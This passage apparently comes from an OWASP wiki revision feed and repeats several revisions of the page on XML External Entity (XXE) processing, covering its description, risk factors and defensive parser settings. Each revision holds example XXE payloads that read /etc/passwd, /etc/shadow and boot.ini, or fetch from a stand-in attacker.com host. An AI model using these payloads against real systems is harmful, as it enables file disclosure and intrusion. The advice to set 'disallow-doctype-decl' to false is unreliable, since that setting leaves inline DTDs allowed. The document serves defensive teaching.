 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[Blind SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Missing XML Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively [[Input Validation|validate]] or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.&lt;br /&gt;
&lt;br /&gt;
Testing ought to occur with specific implementations for any controls documented below.&lt;br /&gt;
&lt;br /&gt;
===C/C++===&lt;br /&gt;
&lt;br /&gt;
====libxml2====&lt;br /&gt;
&lt;br /&gt;
The Enum [http://xmlsoft.org/html/libxml-parser.html#xmlParserOption xmlParserOption] should not have the following options defined:&lt;br /&gt;
&lt;br /&gt;
* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text&lt;br /&gt;
* XML_PARSE_DTDLOAD: Load the external DTD&lt;br /&gt;
&lt;br /&gt;
Note: Per: https://mail.gnome.org/archives/xml/2012-October/msg00045.html, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch: http://git.gnome.org/browse/libxml2/commit/?id=4629ee02ac649c27f9c0cf98ba017c6b5526070f.&lt;br /&gt;
&lt;br /&gt;
===Java===&lt;br /&gt;
&lt;br /&gt;
Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.&lt;br /&gt;
&lt;br /&gt;
====JAXP DOM and DocumentBuilderFactory====&lt;br /&gt;
&lt;br /&gt;
The DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
For a syntax highlighted code snippet, click [https://gist.github.com/anonymous/5599156 here].&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
import javax.xml.parsers.DocumentBuilderFactory;&lt;br /&gt;
import javax.xml.parsers.ParserConfigurationException; // catching unsupported features&lt;br /&gt;
...&lt;br /&gt;
 &lt;br /&gt;
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();&lt;br /&gt;
    try {&lt;br /&gt;
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities&lt;br /&gt;
      dbf.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
 &lt;br /&gt;
      // Xerces 2 only - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
      dbf.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, false);&lt;br /&gt;
 &lt;br /&gt;
      // remaining parser logic&lt;br /&gt;
      ...&lt;br /&gt;
 &lt;br /&gt;
      } catch (ParserConfigurationException e) {&lt;br /&gt;
        // Tried an unsupported feature. This may indicate that a different XML processor is being&lt;br /&gt;
        // used. If so, then its features need to be researched and applied correctly.&lt;br /&gt;
        // For example, using the Xerces 2 feature above on a Xerces 1 processor will throw this&lt;br /&gt;
        // exception.&lt;br /&gt;
 &lt;br /&gt;
      } catch ... {&lt;br /&gt;
      }&lt;br /&gt;
    ...&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====JAXP SAX and SAXParserFactory====&lt;br /&gt;
&lt;br /&gt;
The SAXParserFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/SAXParserFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====StAX and XMLInputFactory====&lt;br /&gt;
&lt;br /&gt;
The [http://en.wikipedia.org/wiki/StAX StAX] [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] can allow properties and features to be set.&lt;br /&gt;
&lt;br /&gt;
Disallow Resolving of External Entities:&lt;br /&gt;
* Set the &amp;quot;javax.xml.stream.isSupportingExternalEntities&amp;quot; property to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===iOS===&lt;br /&gt;
&lt;br /&gt;
====libxml2====&lt;br /&gt;
&lt;br /&gt;
iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly. However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).&lt;br /&gt;
&lt;br /&gt;
====NSXMLDocument====&lt;br /&gt;
&lt;br /&gt;
iOS also provides an NSXMLDocument type, which is built on top of libxml2. However, NSXMLDocument provides some additional protections against XXE that aren't available in libxml2 directly. Per the 'NSXMLDocument External Entity Restriction API' section of: http://developer.apple.com/library/ios/#releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html:&lt;br /&gt;
&lt;br /&gt;
* iOS4 and earlier: All external entities are loaded by default.&lt;br /&gt;
&lt;br /&gt;
* iOS5 and later: Only entities that don't require network access are loaded. (which is safer)&lt;br /&gt;
&lt;br /&gt;
However, to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [http://www.securityfocus.com/archive/1/297714/2002-10-27/2002-11-02/0 Early (2002) BugTraq Article on XXE]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/611.html CWE-611: Information Exposure Through XML External Entity Reference]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/827.html CWE-827: Improper Control of Document Type Definition]&lt;br /&gt;
* [https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf XML External Entity Attacks]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489 PostgreSQL XXE vulnerability]&lt;br /&gt;
* [http://www.agarri.fr/kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html SharePoint and DotNetNuke XXE Vulnerabilities, in French]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:API_Abuse]]&lt;/div&gt;</summary>
		<author><name>Jon Passki</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=141618</id>
		<title>XML External Entity (XXE) Processing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=141618"/>
				<updated>2012-12-30T16:46:57Z</updated>
		
		<summary type="html">&lt;p&gt;Jon Passki: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Processing of an external entity containing tainted data may lead to disclosure of confidential information and other system impacts. &lt;br /&gt;
&lt;br /&gt;
The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists a specific type of entity, an [http://www.w3.org/TR/REC-xml/#sec-external-ent external general parsed entity] often shortened to an '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.&lt;br /&gt;
&lt;br /&gt;
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* The application parsers XML documents.&lt;br /&gt;
* Tainted data is allowed within the system identifier portion of the entity, within the [http://www.w3.org/TR/REC-xml/#sec-prolog-dtd document type declaration] (DTD).&lt;br /&gt;
* The XML processor is configured to validate and process the DTD.&lt;br /&gt;
* The XML processor is configured to resolve external entities within the DTD.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The examples below are from [[Testing for XML Injection (OWASP-DV-008)]].&lt;br /&gt;
&lt;br /&gt;
===Accessing a local resource that may not return===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
===Disclosing the /etc/passwd file===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[Blind SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Missing XML Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively [[Input Validation|validate]] or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD returned by the XML document.&lt;br /&gt;
&lt;br /&gt;
Testing ought to occur with specific implementations for any controls documented below.&lt;br /&gt;
&lt;br /&gt;
===C/C++===&lt;br /&gt;
&lt;br /&gt;
====libxml2====&lt;br /&gt;
&lt;br /&gt;
The Enum [http://xmlsoft.org/html/libxml-parser.html#xmlParserOption xmlParserOption] should not have the following options defined:&lt;br /&gt;
&lt;br /&gt;
* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text&lt;br /&gt;
* XML_PARSE_DTDLOAD: Load the external DTD&lt;br /&gt;
&lt;br /&gt;
===Java===&lt;br /&gt;
&lt;br /&gt;
====JAXP DOM and DocumentBuilderFactory====&lt;br /&gt;
&lt;br /&gt;
The DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====JAXP SAX and SAXParserFactory====&lt;br /&gt;
&lt;br /&gt;
The SAXParserFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/SAXParserFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====StAX and XMLInputFactory====&lt;br /&gt;
&lt;br /&gt;
The [http://en.wikipedia.org/wiki/StAX StAX] [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] can allow properties and features to be set.&lt;br /&gt;
&lt;br /&gt;
Disallow Resolving of External Entities:&lt;br /&gt;
* Set the &amp;quot;javax.xml.stream.isSupportingExternalEntities&amp;quot; property to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/611.html CWE-611: Information Exposure Through XML External Entity Reference].&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/827.html CWE-827: Improper Control of Document Type Definition]&lt;br /&gt;
* [https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf XML External Entity Attacks]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489 PostgreSQL XXE vulnerability]&lt;br /&gt;
* [http://www.agarri.fr/kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html SharePoint and DotNetNuke XXE Vulnerabilities, in French]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:API_Abuse]]&lt;/div&gt;</summary>
		<author><name>Jon Passki</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=141617</id>
		<title>XML External Entity (XXE) Processing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=141617"/>
				<updated>2012-12-30T16:46:36Z</updated>
		
		<summary type="html">&lt;p&gt;Jon Passki: Added libxml2 and minor update to control doc&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Processing of an external entity containing tainted data may lead to disclosure of confidential information and other system impacts. &lt;br /&gt;
&lt;br /&gt;
The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists a specific type of entity, an [http://www.w3.org/TR/REC-xml/#sec-external-ent external general parsed entity] often shortened to an '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.&lt;br /&gt;
&lt;br /&gt;
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* The application parsers XML documents.&lt;br /&gt;
* Tainted data is allowed within the system identifier portion of the entity, within the [http://www.w3.org/TR/REC-xml/#sec-prolog-dtd document type declaration] (DTD).&lt;br /&gt;
* The XML processor is configured to validate and process the DTD.&lt;br /&gt;
* The XML processor is configured to resolve external entities within the DTD.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The examples below are from [[Testing for XML Injection (OWASP-DV-008)]].&lt;br /&gt;
&lt;br /&gt;
===Accessing a local resource that may not return===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
===Disclosing the /etc/passwd file===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[Blind SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Missing XML Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively [[Input Validation|validate]] or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD returned by the XML document.&lt;br /&gt;
&lt;br /&gt;
Testing ought to occur with specific implementations for any controls documented below.&lt;br /&gt;
&lt;br /&gt;
===C/C++==&lt;br /&gt;
&lt;br /&gt;
====libxml2====&lt;br /&gt;
&lt;br /&gt;
The Enum [http://xmlsoft.org/html/libxml-parser.html#xmlParserOption xmlParserOption] should not have the following options defined:&lt;br /&gt;
&lt;br /&gt;
* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text&lt;br /&gt;
* XML_PARSE_DTDLOAD: Load the external DTD&lt;br /&gt;
&lt;br /&gt;
===Java===&lt;br /&gt;
&lt;br /&gt;
====JAXP DOM and DocumentBuilderFactory====&lt;br /&gt;
&lt;br /&gt;
The DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====JAXP SAX and SAXParserFactory====&lt;br /&gt;
&lt;br /&gt;
The SAXParserFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/SAXParserFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====StAX and XMLInputFactory====&lt;br /&gt;
&lt;br /&gt;
